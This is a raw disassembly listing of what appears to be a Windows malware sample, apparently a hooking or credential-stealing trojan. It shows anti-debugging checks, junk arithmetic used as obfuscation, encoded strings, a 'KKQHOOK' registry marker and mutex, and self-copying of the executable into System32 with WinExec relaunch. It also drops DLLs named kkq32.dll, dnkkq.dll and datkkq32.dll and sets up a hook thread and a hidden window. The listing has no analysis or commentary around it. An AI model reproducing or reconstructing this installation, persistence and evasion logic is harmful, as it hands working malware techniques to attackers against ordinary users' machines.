call sub_40C634 ; IsDebuggerPresent
cmp [ebp+var_604], 0
jz short loc_40A0AB
push 4
push 4
lea eax, [ebp+var_604]
push eax
push offset aOfstkkqc ; "ofstkkqc"
push offset aSoftwareMicr_0 ; "Software\\Microsoft\\Windows"
push 80000001h
call sub_4015EB
add esp, 18h
loc_40A0AB: ; CODE XREF: sub_409847+737j
; sub_409847+832j ...
push 0
push 80h
push 3
push 0
push 0
push 80000000h
push offset dword_413F90
call sub_40C67C ; CreateFileA
mov [ebp+var_4604], eax
mov [ebp+var_45FC], 7514h
mov eax, [ebp+var_45FC]
mov edx, eax
add edx, eax
mov [ebp+var_45FC], edx
cmp [ebp+var_4604], 0FFFFFFFFh
jz loc_40A5BF
mov eax, dword_445B6F
mov [ebp+var_4746], eax
push [ebp+var_4604]
call sub_40C55C ; CloseHandle
mov [ebp+var_4716], 0DEAh
movzx eax, [ebp+var_4716]
imul eax, 4C28h
mov [ebp+var_4716], ax
lea eax, [ebp+var_45EF]
push eax
lea eax, [ebp+var_E08]
push eax
call sub_40CA30
mov [ebp+var_4718], 7CFCh
movzx eax, [ebp+var_4718]
imul eax, 2F59h
mov [ebp+var_4718], ax
push 6
push offset aTRq ; "ÉĄŻ"
call sub_40129C
push eax
lea edi, [ebp+var_E08]
push edi
call sub_40CA54
call sub_40C574 ; GetProcessHeap
lea eax, [ebp+var_600]
push eax
call sub_403449
push 1
push offset asc_445DBA ; "Ü"
call sub_40129C
lea edi, [ebp+var_604]
push edi
push 0
push [ebp+var_35F0]
push eax
push offset aKkqhook ; "KKQHOOK"
lea edi, [ebp+var_600]
push edi
lea edi, [ebp+var_E08]
push edi
push offset dword_413F90
call sub_4062CD
mov ebx, eax
mov [ebp+var_4719], 18h
movzx eax, [ebp+var_4719]
imul eax, 4B74h
mov [ebp+var_4719], al
lea eax, [ebp+var_600]
push eax
call sub_40C760 ; DeleteFileA
mov [ebp+var_471C], 0F12h
sub [ebp+var_471C], 161h
lea eax, [ebp+var_600]
push eax
call sub_4034D8
add esp, 48h
or ebx, ebx
jz short loc_40A21B
call sub_40C508 ; GetCurrentProcessId
push offset dword_413F90
call sub_40C760 ; DeleteFileA
call sub_40C598 ; GetTickCount
loc_40A21B: ; CODE XREF: sub_409847+4FDj
; sub_409847+9BEj
cmp [ebp+var_200], 3Ah
jnz loc_40A3F3
cmp [ebp+var_1FD], 3Ah
jnz loc_40A3F3
mov [ebp+var_35F2], 77A0h
inc [ebp+var_35F2]
call sub_40C598 ; GetTickCount
mov [ebp+var_1FD], 0
push 5
push offset aCiaq ; "Ų"
call sub_40129C
lea edi, [ebp+var_35F0]
push edi
push eax
lea edi, [ebp+var_200]
push edi
call sub_40CA48
add esp, 14h
mov [ebp+var_35F4], 28B3h
movzx eax, [ebp+var_35F4]
imul eax, 66EEh
mov [ebp+var_35F4], ax
cmp [ebp+var_35F0], 0
jz short loc_40A2C3
call sub_40CA18
mov edx, 621B97C3h
push ecx
mov ecx, eax
imul edx
sar edx, 7
sar ecx, 1Fh
sub edx, ecx
mov eax, edx
pop ecx
mov edi, eax
inc edi
cmp edi, [ebp+var_35F0]
ja loc_40A56A
loc_40A2C3: ; CODE XREF: sub_409847+A51j
call sub_40C508 ; GetCurrentProcessId
cmp ds:dword_418680, 2
jnz short loc_40A325
call sub_40C538 ; RtlGetLastWin32Error
push 400h
lea eax, [ebp+var_600]
push eax
call sub_40C580 ; GetSystemDirectoryA
push 0Ah
push offset byte_44658B
call sub_40129C
lea edi, [ebp+var_600]
push edi
push eax
lea edi, [ebp+var_100F]
push edi
call sub_40CA30
push 8
push offset word_446582
call sub_40129C
push eax
lea edi, [ebp+var_600]
push edi
call sub_40CA54
add esp, 24h
jmp short loc_40A3A2
; ---------------------------------------------------------------------------
loc_40A325: ; CODE XREF: sub_409847+A88j
mov eax, dword_445B73
mov [ebp+var_35F8], eax
push 400h
lea eax, [ebp+var_600]
push eax
call sub_40C5C8 ; GetWindowsDirectoryA
mov ax, word_445B77
mov [ebp+var_35FA], ax
push 0Eh
push offset byte_446563
call sub_40129C
lea edi, [ebp+var_600]
push edi
push eax
lea edi, [ebp+var_100F]
push edi
call sub_40CA30
lea edi, [ebp+var_35FD]
lea esi, byte_445B79
mov ecx, 3
rep movsb
push 0Ch
push offset word_446556
call sub_40129C
push eax
lea edi, [ebp+var_600]
push edi
call sub_40CA54
add esp, 24h
call sub_40C514 ; GetCurrentThreadId
loc_40A3A2: ; CODE XREF: sub_409847+ADCj
lea eax, [ebp+var_100F]
push eax
call sub_40C760 ; DeleteFileA
call sub_40C514 ; GetCurrentThreadId
push 8
push offset aINvuni ; "ŽīŽ"
call sub_40129C
lea edi, [ebp+var_200]
add edi, 4
push edi
lea edi, [ebp+var_600]
push edi
push eax
lea edi, [ebp+var_600]
push edi
call sub_40CA30
add esp, 18h
push 0
lea eax, [ebp+var_600]
push eax
call sub_40C724 ; WinExec
call sub_40C514 ; GetCurrentThreadId
loc_40A3F3: ; CODE XREF: sub_409847+9DBj
; sub_409847+9E8j
push 5
push offset aN_0 ; "ŚŲŻÉ"
call sub_40129C
mov edi, 0Dh
sub edi, dword_43B098
push edi
push eax
lea edi, [ebp+var_200]
push edi
call sub_401806
add esp, 14h
or eax, eax
jnz loc_40A56A
call sub_40C5A4 ; GetVersion
lea edi, [ebp+var_55F7]
lea esi, byte_445B7C
mov ecx, 3
rep movsb
mov eax, dword_43B094
add eax, 5
push eax
lea eax, [ebp+var_F0B]
push eax
call sub_40170F
mov [ebp+var_55F1], 33h
add [ebp+var_55F1], 1
push 9
push offset word_445DFA
call sub_40129C
lea edi, [ebp+var_F0B]
push edi
push offset aCWindowsSystem ; "C:\\WINDOWS\\System32"
push eax
lea edi, [ebp+var_45EB]
push edi
call sub_40CA30
lea eax, [ebp+var_1FB]
push eax
lea eax, [ebp+var_55EA]
push eax
call sub_40C4B8
mov [ebp+var_55F0], 4C44h
mov eax, [ebp+var_55F0]
mov edx, eax
add edx, eax
mov [ebp+var_55F0], edx
push 3
push offset aQ ; "ÕÉ"
call sub_40129C
mov [ebp+var_55FC], eax
push 1
push offset asc_445DBA ; "Ü"
call sub_40129C
push 0
push 0
push 0
push eax
mov edi, [ebp+var_55FC]
push edi
lea edi, [ebp+var_45EB]
push edi
lea edi, [ebp+var_55EA]
push edi
push 0
call sub_4062CD
add esp, 50h
mov ebx, eax
mov [ebp+var_55F4], 2AB6h
sub [ebp+var_55F4], 2B3Ah
cmp ebx, 2
jnz short loc_40A56A
mov [ebp+var_55FD], 0D1h
add [ebp+var_55FD], 1
push 0
lea eax, [ebp+var_45EB]
push eax
call sub_40C724 ; WinExec
push 6
push offset asc_445D8C ; "ĆČŚŪČß"
call sub_40129C
mov edi, 3
sub edi, dword_43B094
push edi
push eax
lea edi, [ebp+var_55EA]
push edi
call sub_401806
add esp, 14h
cmp eax, 0FFFFh
jz short loc_40A56A
mov eax, 0Dh
sub eax, dword_43B098
push eax
call sub_40C9DC
pop ecx
loc_40A56A: ; CODE XREF: sub_409847+399j
; sub_409847+3AAj ...
lea eax, [ebp+var_200]
push eax
push [ebp+var_608]
push [ebp+var_E0C]
call sub_401B9A
add esp, 0Ch
mov [ebp+var_608], eax
or eax, eax
jnz loc_409BE5
push [ebp+var_E0C]
call sub_40C658 ; LocalFree
mov [ebp+var_102C], 5DFBh
mov eax, 658Bh
mul [ebp+var_102C]
mov [ebp+var_15D8], eax
mov [ebp+var_102C], eax
loc_40A5BF: ; CODE XREF: sub_409847+2FEj
; sub_409847+36Ej ...
call sub_408BE4
call sub_40C598 ; GetTickCount
fld dbl_445D84
fimul dword_43B0B4
mov edi, eax
call sub_40C410
xchg eax, edi
push edi
call sub_40C9D0
mov edi, dword_43B0B8
sub edi, eax
inc edi
mov [ebp+var_1014], edi
mov [ebp+var_101C], 19AEh
movzx eax, [ebp+var_101C]
mov edx, eax
add edx, eax
mov eax, edx
mov [ebp+var_101C], ax
mov eax, edi
mov [ebp+var_15DC], eax
push eax
call sub_40C9D0
add esp, 8
mov edi, [ebp+var_15DC]
add edi, eax
mov [ebp+var_1014], edi
mov [ebp+var_102D], 45h
sub [ebp+var_102D], 1Ch
mov eax, edi
mov edi, dword_43B0B8
sub edi, dword_43B0B4
mov ecx, edi
inc ecx
xor edx, edx
div ecx
mov [ebp+var_15E0], eax
mov [ebp+var_1014], eax
mov [ebp+var_101D], 0DFh
movzx eax, [ebp+var_101D]
mov edx, eax
add edx, eax
mov eax, edx
mov [ebp+var_101D], al
call sub_40CA18
mov [ebp+var_15E4], eax
mov eax, dword_43B0B4
mov edx, 66666667h
push ecx
mov ecx, eax
imul edx
sar edx, 1
sar ecx, 1Fh
sub edx, ecx
mov eax, edx
pop ecx
lea edi, [eax+eax*4]
mov esi, [ebp+var_1014]
mov edx, [ebp+var_15E4]
mov eax, esi
imul eax, [ebp+var_15E4]
mov ecx, 0Ah
cdq
idiv ecx
lea edi, [edi+edx+5]
mov dword_43B0B4, edi
lea edi, [ebp+var_117A]
lea esi, byte_445B7F
mov ecx, 3
rep movsw
mov eax, dword_43B0B8
cmp dword_43B0B4, eax
jbe short loc_40A6ED
and dword_43B0B4, 0
loc_40A6ED: ; CODE XREF: sub_409847+E9Dj
push 30D40h
call sub_40C9B8
pop ecx
jmp loc_4098DE
sub_409847 endp
; ---------------------------------------------------------------------------
pop edi
pop esi
pop ebx
leave
retn 4
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40A704 proc near ; CODE XREF: sub_40A766+11p
var_C = word ptr -0Ch
var_A = word ptr -0Ah
var_8 = dword ptr -8
var_1 = byte ptr -1
push ebp
mov ebp, esp
sub esp, 0Ch
push edi
mov ax, word_445B85
mov [ebp+var_A], ax
mov [ebp+var_1], 47h
sub [ebp+var_1], 66h
push offset aKkqhook_28 ; "KKQHOOK_28"
push 0
push 1F0001h
call sub_40C664 ; OpenMutexA
mov [ebp+var_8], eax
or eax, eax
jz short loc_40A763
call sub_40C598 ; GetTickCount
push [ebp+var_8]
call sub_40C55C ; CloseHandle
call sub_40C514 ; GetCurrentThreadId
mov eax, 3
sub eax, dword_43B094
push eax
call sub_40C9DC
pop ecx
mov ax, word_445B87
mov [ebp+var_C], ax
loc_40A763: ; CODE XREF: sub_40A704+2Fj
pop edi
leave
retn
sub_40A704 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40A766 proc near ; CODE XREF: sub_40C434+5Cp
var_7F1 = byte ptr -7F1h
var_7EB = byte ptr -7EBh
var_7E9 = byte ptr -7E9h
var_7E8 = dword ptr -7E8h
var_7E2 = word ptr -7E2h
var_7DD = byte ptr -7DDh
var_7DC = dword ptr -7DCh
var_7D7 = byte ptr -7D7h
var_7D0 = byte ptr -7D0h
var_7CC = byte ptr -7CCh
var_7C7 = byte ptr -7C7h
var_7C2 = byte ptr -7C2h
var_7BA = byte ptr -7BAh
var_7B4 = byte ptr -7B4h
var_7B3 = byte ptr -7B3h
var_7AB = dword ptr -7ABh
var_7A7 = dword ptr -7A7h
var_7A3 = byte ptr -7A3h
var_79C = byte ptr -79Ch
var_794 = byte ptr -794h
var_78D = byte ptr -78Dh
var_788 = dword ptr -788h
var_784 = byte ptr -784h
var_783 = byte ptr -783h
var_77E = byte ptr -77Eh
var_67F = byte ptr -67Fh
var_580 = byte ptr -580h
var_47C = dword ptr -47Ch
var_478 = dword ptr -478h
var_474 = byte ptr -474h
var_370 = dword ptr -370h
var_36C = dword ptr -36Ch
var_366 = word ptr -366h
var_364 = dword ptr -364h
var_360 = dword ptr -360h
var_35C = byte ptr -35Ch
var_2F8 = byte ptr -2F8h
var_294 = dword ptr -294h
var_28D = byte ptr -28Dh
var_28C = word ptr -28Ch
var_289 = byte ptr -289h
var_288 = dword ptr -288h
var_281 = byte ptr -281h
var_280 = dword ptr -280h
var_27C = dword ptr -27Ch
var_278 = dword ptr -278h
var_272 = word ptr -272h
var_270 = word ptr -270h
var_26E = byte ptr -26Eh
var_16A = word ptr -16Ah
var_168 = dword ptr -168h
var_163 = byte ptr -163h
var_162 = byte ptr -162h
var_5E = word ptr -5Eh
var_5C = dword ptr -5Ch
var_55 = dword ptr -55h
var_51 = dword ptr -51h
var_4D = dword ptr -4Dh
var_49 = dword ptr -49h
var_45 = dword ptr -45h
var_41 = dword ptr -41h
var_3D = dword ptr -3Dh
var_39 = dword ptr -39h
var_35 = dword ptr -35h
var_31 = dword ptr -31h
var_2D = byte ptr -2Dh
var_27 = byte ptr -27h
var_26 = byte ptr -26h
var_25 = byte ptr -25h
var_1D = byte ptr -1Dh
var_1 = byte ptr -1
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 7F4h
push ebx
push esi
push edi
call sub_40C634 ; IsDebuggerPresent
call sub_40A704
call sub_40C538 ; RtlGetLastWin32Error
lea edi, [ebp+var_783]
lea esi, aQk ; "qk "
mov ecx, 5
rep movsb
push 104h
lea eax, [ebp+var_162]
push eax
call sub_40C580 ; GetSystemDirectoryA
mov [ebp+var_163], 2Ch
movzx eax, [ebp+var_163]
imul eax, 45FBh
mov [ebp+var_163], al
push 13h
push offset dword_445D70
call sub_40129C
push eax
lea edi, [ebp+var_162]
push edi
call sub_40CA54
add esp, 10h
call sub_40C538 ; RtlGetLastWin32Error
push 0
push 0
push 3
push 0
push 0
push 80000001h
lea eax, [ebp+var_162]
push eax
call sub_40C67C ; CreateFileA
mov [ebp+var_370], eax
cmp eax, 0FFFFFFFFh
jnz short loc_40A80D
call sub_4085D0
jmp short loc_40A818
; ---------------------------------------------------------------------------
loc_40A80D: ; CODE XREF: sub_40A766+9Ej
push [ebp+var_370]
call sub_40C55C ; CloseHandle
loc_40A818: ; CODE XREF: sub_40A766+A5j
lea edi, [ebp+var_784]
lea esi, byte_445B8E
xor ecx, ecx
inc ecx
rep movsb
push 9
push offset asc_445D66 ; "ČĆĢĻĮČÉŽĖ"
call sub_40129C
push eax
call sub_40C5D4 ; GlobalAddAtomA
call sub_40C5A4 ; GetVersion
mov eax, [ebp+arg_0]
mov ds:dword_41DA84, eax
mov ds:dword_418670, 94h
push offset dword_418670
call sub_40C5B0 ; GetVersionExA
mov eax, dword_445B8F
mov [ebp+var_788], eax
push 0FFh
push offset aCWindowsSystem ; "C:\\WINDOWS\\System32"
call sub_40C580 ; GetSystemDirectoryA
mov [ebp+var_168], 5BB4h
mov eax, 7833h
mul [ebp+var_168]
mov [ebp+var_7DC], eax
mov [ebp+var_168], eax
call sub_40C598 ; GetTickCount
push eax
call sub_40CA3C
mov [ebp+var_16A], 5032h
add [ebp+var_16A], 7611h
lea edi, [ebp+var_78D]
lea esi, a3hay ; "3hAy"
mov ecx, 5
rep movsb
push 104h
lea eax, [ebp+var_474]
push eax
push [ebp+arg_0]
call sub_40C544 ; GetModuleFileNameA
call sub_40C514 ; GetCurrentThreadId
and [ebp+var_5C], 0
mov [ebp+var_478], 4
mov ebx, 4C9Bh
mov eax, ebx
add eax, ebx
mov ebx, eax
lea eax, [ebp+var_794]
push eax
lea eax, [ebp+var_478]
push eax
lea eax, [ebp+var_5C]
push eax
push offset aKkqhook ; "KKQHOOK"
push offset aSoftwareMicr_0 ; "Software\\Microsoft\\Windows"
push 80000001h
call sub_4014BD
add esp, 24h
mov [ebp+var_47C], eax
or eax, eax
jz short loc_40A95C
mov [ebp+var_7DD], 57h
add [ebp+var_7DD], 1
cmp [ebp+var_5C], 1Ch
jbe short loc_40A952
mov eax, 0Dh
sub eax, dword_43B098
push eax
call sub_40C9DC
pop ecx
loc_40A952: ; CODE XREF: sub_40A766+1D8j
cmp [ebp+var_5C], 1Ch
jz loc_40AAD6
loc_40A95C: ; CODE XREF: sub_40A766+1C4j
lea edi, [ebp+var_79C]
lea esi, a8bTfa ; "<8B=tf"
movsd
movsd
lea edi, [ebp+var_7A3]
lea esi, a_rVnx ; "_r&nx"
mov ecx, 7
rep movsb
call sub_40CA18
mov edx, 10624DD3h
push ecx
mov ecx, eax
imul edx
sar edx, 7
sar ecx, 1Fh
sub edx, ecx
mov eax, edx
pop ecx
mov edi, eax
add edi, 41h
mov edx, edi
mov [ebp+var_2D], dl
mov [ebp+var_1], 1
jmp short loc_40A9D4
; ---------------------------------------------------------------------------
loc_40A9A7: ; CODE XREF: sub_40A766+273j
call sub_40CA18
movzx edi, [ebp+var_1]
mov edx, 10624DD3h
push ecx
mov ecx, eax
imul edx
sar edx, 7
sar ecx, 1Fh
sub edx, ecx
mov eax, edx
pop ecx
mov esi, eax
add esi, 61h
mov edx, esi
mov [ebp+edi+var_2D], dl
add [ebp+var_1], 1
loc_40A9D4: ; CODE XREF: sub_40A766+23Fj
mov al, [ebp+var_1]
cmp al, 8
jbe short loc_40A9A7
mov [ebp+var_25], 0
call sub_40CA18
mov edx, eax
test dl, 1
jnz short loc_40AA0D
mov [ebp+var_7DD], 0A4h
movzx eax, [ebp+var_7DD]
imul eax, 6B38h
mov [ebp+var_7DD], al
mov [ebp+var_27], 33h
mov [ebp+var_26], 32h
loc_40AA0D: ; CODE XREF: sub_40A766+283j
push 9
push offset dword_445D5C
call sub_40129C
lea edi, [ebp+var_2D]
push edi
push offset aCWindowsSystem ; "C:\\WINDOWS\\System32"
push eax
lea edi, [ebp+var_26E]
push edi
call sub_40CA30
push 0
lea eax, [ebp+var_26E]
push eax
lea eax, [ebp+var_474]
push eax
call sub_40C604 ; CopyFileA
call sub_40C598 ; GetTickCount
lea eax, [ebp+var_2D]
push eax
call sub_403C5F
mov [ebp+var_270], 193Ah
sub [ebp+var_270], 3E0Ch
mov [ebp+var_5C], 1Ch
push 4
push 4
lea eax, [ebp+var_5C]
push eax
push offset aKkqhook ; "KKQHOOK"
push offset aSoftwareMicr_0 ; "Software\\Microsoft\\Windows"
push 80000001h
call sub_4015EB
add esp, 34h
push 0
lea eax, [ebp+var_26E]
push eax
call sub_40C724 ; WinExec
mov eax, dword_445BA7
mov [ebp+var_7A7], eax
call sub_404194
mov [ebp+var_272], 0CB0h
sub [ebp+var_272], 5CCh
mov eax, 3
sub eax, dword_43B094
push eax
call sub_40C4E4 ; ExitProcess
mov eax, dword_445BAB
mov [ebp+var_7AB], eax
loc_40AAD6: ; CODE XREF: sub_40A766+1F0j
push 5
push offset word_445D56
call sub_40129C
push offset aKkq32_dll ; "kkq32.dll"
push offset aCWindowsSystem ; "C:\\WINDOWS\\System32"
push eax
push offset dword_41EA80
call sub_40CA30
mov [ebp+var_278], 57BFh
sub [ebp+var_278], 674Fh
push 5
push offset word_445D56
call sub_40129C
push offset aDnkkq_dll ; "dnkkq.dll"
push offset aCWindowsSystem ; "C:\\WINDOWS\\System32"
push eax
push offset dword_40F280
call sub_40CA30
mov [ebp+var_27C], 1B3Dh
sub [ebp+var_27C], 108Ah
push 5
push offset word_445D56
call sub_40129C
push offset aDatkkq32_dll ; "datkkq32.dll"
push offset aCWindowsSystem ; "C:\\WINDOWS\\System32"
push eax
push offset dword_40E010
call sub_40CA30
mov [ebp+var_280], 4FE3h
add [ebp+var_280], 4ADFh
push 0FFh
push offset dword_413F90
call sub_40C5C8 ; GetWindowsDirectoryA
call sub_40C598 ; GetTickCount
push 9
push offset byte_445D2B
call sub_40129C
push eax
push offset dword_413F90
call sub_40CA54
call sub_40C598 ; GetTickCount
lea eax, aKkqhook ; "KKQHOOK"
mov [ebp+var_31], eax
mov [ebp+var_281], 0E4h
movzx eax, [ebp+var_281]
imul eax, 3FBBh
mov [ebp+var_281], al
mov eax, ds:dword_41DA84
mov [ebp+var_45], eax
lea eax, sub_40B143
mov [ebp+var_51], eax
push 7F00h
push 0
call sub_40C7C0 ; LoadCursorA
mov [ebp+var_3D], eax
mov [ebp+var_288], 5083h
mov eax, 4FDBh
mul [ebp+var_288]
mov [ebp-7E0h], eax
mov [ebp+var_288], eax
push 7F03h
push 0
call sub_40C7CC ; LoadIconA
mov [ebp+var_41], eax
call sub_40C538 ; RtlGetLastWin32Error
and [ebp+var_35], 0
push 0
call sub_40C8C8 ; GetStockObject
mov [ebp+var_39], eax
mov [ebp+var_55], 3
and [ebp+var_4D], 0
and [ebp+var_49], 0
lea eax, [ebp+var_55]
push eax
call sub_40C7E4 ; RegisterClassA
call sub_40C508 ; GetCurrentProcessId
push 0
push ds:dword_41DA84
push 0
push 0
push 0
push 0
push 0
push 0
push 0CA0000h
push offset aKkqhook ; "KKQHOOK"
push offset aKkqhook ; "KKQHOOK"
push 0
call sub_40C88C ; CreateWindowExA
mov ds:dword_41B89C, eax
mov [ebp+var_289], 1Dh
add [ebp+var_289], 1
push offset aKkqhook_28 ; "KKQHOOK_28"
push 0
push 0
call sub_40C6C4 ; CreateMutexA
call sub_40C634 ; IsDebuggerPresent
push 2
call sub_402A4D
add esp, 5Ch
call sub_40C634 ; IsDebuggerPresent
call sub_40C5A4 ; GetVersion
cmp eax, 80000000h
jb loc_40AD43
lea edi, [ebp+var_7EB]
lea esi, byte_445BAF
mov ecx, 3
rep movsb
push 0Ch
push offset aUqg ; "ĘČßĆČĮÉĮĮ"
call sub_40129C
push eax
call sub_40C550 ; GetModuleHandleA
mov edi, eax
push 16h
push offset byte_445D07
call sub_40129C
add esp, 10h
push eax
push edi
call sub_40C568 ; GetProcAddress
mov [ebp+var_7E8], eax
lea edi, [ebp+var_7F1]
lea esi, aVcxs ; "|vCXS"
mov ecx, 3
rep movsw
call sub_40C508 ; GetCurrentProcessId
mov edi, 3
sub edi, dword_43B094
push edi
push eax
call [ebp+var_7E8]
mov [ebp+var_7E2], 1273h
movzx eax, [ebp+var_7E2]
mov edx, eax
add edx, eax
mov eax, edx
mov [ebp+var_7E2], ax
loc_40AD43: ; CODE XREF: sub_40A766+54Bj
lea edi, [ebp+var_7B3]
lea esi, aWBqy ; " w bqy "
movsd
movsd
push 104h
lea eax, [ebp+var_580]
push eax
push 0
call sub_40C544 ; GetModuleFileNameA
lea eax, [ebp+var_580]
push eax
call sub_403449
lea edi, [ebp+var_7B4]
lea esi, byte_445BC0
xor ecx, ecx
inc ecx
rep movsb
push offset dword_41EA80
call sub_403449
mov [ebp+var_28C], 3040h
inc [ebp+var_28C]
push offset dword_40F280
call sub_403449
mov [ebp+var_28D], 0C8h
sub [ebp+var_28D], 2Ch
push offset dword_40E010
call sub_403449
mov [ebp+var_294], 73D3h
add [ebp+var_294], 7F76h
call sub_40C508 ; GetCurrentProcessId
push eax
call sub_4036F2
lea edi, [ebp+var_7BA]
lea esi, aWAs@ ; "W!aS@"
mov ecx, 3
rep movsw
lea edi, [ebp+var_7C2]
lea esi, aLKVm ; "l:K VM~"
mov ecx, 2
rep movsd
lea eax, [ebp+var_2F8]
push eax
call sub_4039D6
and [ebp+var_360], 0
mov [ebp+var_364], 64h
call sub_40C508 ; GetCurrentProcessId
push 45h
push offset byte_445CC1
call sub_40129C
lea edi, [ebp+var_360]
push edi
lea edi, [ebp+var_364]
push edi
lea edi, [ebp+var_35C]
push edi
lea edi, [ebp+var_2F8]
push edi
push eax
push 80000002h
call sub_4014BD
lea edi, [ebp+var_7C7]
lea esi, aScG ; "Sc g"
mov ecx, 5
rep movsb
push 1
push offset byte_445CBF
call sub_40129C
push eax
lea edi, [ebp+var_35C]
push edi
call sub_4037EF
mov [ebp+var_366], 0ABBh
movzx eax, [ebp+var_366]
imul eax, 144Dh
mov [ebp+var_366], ax
push 1
push offset byte_445CBD
call sub_40129C
push eax
lea edi, [ebp+var_2F8]
push edi
call sub_4037EF
lea edi, [ebp+var_7CC]
lea esi, a3sd_ ; "3Sd_"
mov ecx, 5
rep movsb
push 17h
push offset byte_445CA5
call sub_40129C
lea edi, [ebp+var_35C]
push edi
push eax
lea edi, [ebp+var_77E]
push edi
call sub_40CA30
mov [ebp+var_5E], 3CC6h
movzx eax, [ebp+var_5E]
mov edx, eax
add edx, eax
mov eax, edx
mov [ebp+var_5E], ax
lea eax, [ebp+var_360]
push eax
lea eax, [ebp+var_364]
push eax
lea eax, [ebp+var_67F]
push eax
push 0
lea eax, [ebp+var_77E]
push eax
push 80000000h
call sub_4014BD
mov [ebp+var_36C], 4978h
sub [ebp+var_36C], 4EB6h
lea eax, [ebp+var_67F]
push eax
call sub_403449
call sub_40C538 ; RtlGetLastWin32Error
call sub_403AA3
push offset sub_408189
call sub_40801C
add esp, 8Ch
call sub_40C598 ; GetTickCount
lea eax, [ebp+var_7D0]
push eax
push 0
push 0
push offset sub_409847
push 0
push 0
call sub_40C754 ; CreateThread
push eax
call sub_40C55C ; CloseHandle
lea edi, [ebp+var_7D7]
lea esi, aKT ; "^+k!~T"
mov ecx, 7
rep movsb
push 0
mov eax, dword_43B098
mov edx, eax
add edx, 1E8h
push edx
mov edx, 0Dh
sub edx, eax
push edx
push ds:dword_41B89C
call sub_40C7D8 ; SetTimer
jmp short loc_40B001
; ---------------------------------------------------------------------------
loc_40AFBF: ; CODE XREF: sub_40A766+8ACj
mov [ebp+var_7E2], 3F2Eh
add [ebp+var_7E2], 0CABh
lea eax, [ebp+var_1D]
push eax
call sub_40C844 ; TranslateMessage
mov [ebp+var_7E8], 5962h
inc [ebp+var_7E8]
lea eax, [ebp+var_1D]
push eax
call sub_40C850 ; DispatchMessageA
mov [ebp+var_7E9], 0B5h
sub [ebp+var_7E9], 2
loc_40B001: ; CODE XREF: sub_40A766+857j
push 0
push 0
push 0
lea eax, [ebp+var_1D]
push eax
call sub_40C7FC ; GetMessageA
or eax, eax
jnz short loc_40AFBF
pop edi
pop esi
pop ebx
leave
retn 10h
sub_40A766 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B01B proc near ; DATA XREF: sub_408E89+8BDo
; sub_408E89+8FEo ...
var_1C = dword ptr -1Ch
var_15 = byte ptr -15h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_6 = dword ptr -6
var_2 = word ptr -2
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 1Ch
push ebx
push esi
push edi
mov edi, [ebp+arg_0]
call sub_40C634 ; IsDebuggerPresent
mov eax, [ebp+arg_4]
cmp eax, 100h
jz short loc_40B049
jmp loc_40B0C2
; ---------------------------------------------------------------------------
mov [ebp+var_10], 2420h
add [ebp+var_10], 3723h
loc_40B049: ; CODE XREF: sub_40B01B+19j
call sub_40C538 ; RtlGetLastWin32Error
cmp [ebp+arg_8], 9
jnz short loc_40B0C2
cmp edi, ds:dword_410848
jnz short loc_40B067
push ds:dword_431D04
call sub_40C7A8 ; SetFocus
loc_40B067: ; CODE XREF: sub_40B01B+3Fj
mov [ebp+var_14], 134h
mov eax, 33B6h
mul [ebp+var_14]
mov [ebp+var_1C], eax
mov [ebp+var_14], eax
cmp edi, ds:dword_431D04
jnz short loc_40B08F
push ds:dword_41DA7C
call sub_40C7A8 ; SetFocus
loc_40B08F: ; CODE XREF: sub_40B01B+67j
call sub_40C538 ; RtlGetLastWin32Error
cmp edi, ds:dword_41DA7C
jnz short loc_40B0A7
push ds:dword_41DA74
call sub_40C7A8 ; SetFocus
loc_40B0A7: ; CODE XREF: sub_40B01B+7Fj
mov [ebp+var_15], 71h
add [ebp+var_15], 3Ah
cmp edi, ds:dword_41DA74
jnz short loc_40B0C2
push ds:dword_431D04
call sub_40C7A8 ; SetFocus
loc_40B0C2: ; CODE XREF: sub_40B01B+1Bj
; sub_40B01B+37j ...
xor esi, esi
cmp edi, ds:dword_431D04
jnz short loc_40B0D2
mov esi, ds:dword_41EA7C
loc_40B0D2: ; CODE XREF: sub_40B01B+AFj
mov ebx, 74B5h
inc ebx
cmp edi, ds:dword_41DA7C
jnz short loc_40B0E6
mov esi, ds:dword_41DA78
loc_40B0E6: ; CODE XREF: sub_40B01B+C3j
mov [ebp+var_2], 354Dh
add [ebp+var_2], 3C6Bh
cmp edi, ds:dword_410848
jnz short loc_40B100
mov esi, ds:dword_40E008
loc_40B100: ; CODE XREF: sub_40B01B+DDj
mov ebx, 6788h
add ebx, 110Ch
cmp edi, ds:dword_41DA74
jnz short loc_40B119
mov esi, ds:dword_413F6C
loc_40B119: ; CODE XREF: sub_40B01B+F6j
call sub_40C574 ; GetProcessHeap
or esi, esi
jz short loc_40B134
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push edi
push esi
call sub_40C8BC ; CallWindowProcA
jmp short loc_40B13C
; ---------------------------------------------------------------------------
loc_40B134: ; CODE XREF: sub_40B01B+105j
mov eax, dword_445BE0
mov [ebp+var_6], eax
loc_40B13C: ; CODE XREF: sub_40B01B+117j
pop edi
pop esi
pop ebx
leave
retn 10h
sub_40B01B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B143 proc near ; DATA XREF: sub_40A766+46Ao
var_27A = word ptr -27Ah
var_278 = dword ptr -278h
var_274 = dword ptr -274h
var_270 = dword ptr -270h
var_26C = dword ptr -26Ch
var_268 = dword ptr -268h
var_264 = dword ptr -264h
var_260 = dword ptr -260h
var_25C = dword ptr -25Ch
var_258 = dword ptr -258h
var_254 = dword ptr -254h
var_250 = dword ptr -250h
var_24C = byte ptr -24Ch
var_248 = byte ptr -248h
var_149 = byte ptr -149h
var_144 = word ptr -144h
var_142 = byte ptr -142h
var_13D = byte ptr -13Dh
var_135 = word ptr -135h
var_133 = byte ptr -133h
var_132 = byte ptr -132h
var_12C = dword ptr -12Ch
var_128 = dword ptr -128h
var_124 = dword ptr -124h
var_120 = word ptr -120h
var_11E = word ptr -11Eh
var_11B = byte ptr -11Bh
var_11A = word ptr -11Ah
var_118 = word ptr -118h
var_115 = byte ptr -115h
var_114 = dword ptr -114h
var_10D = byte ptr -10Dh
var_10C = dword ptr -10Ch
var_108 = dword ptr -108h
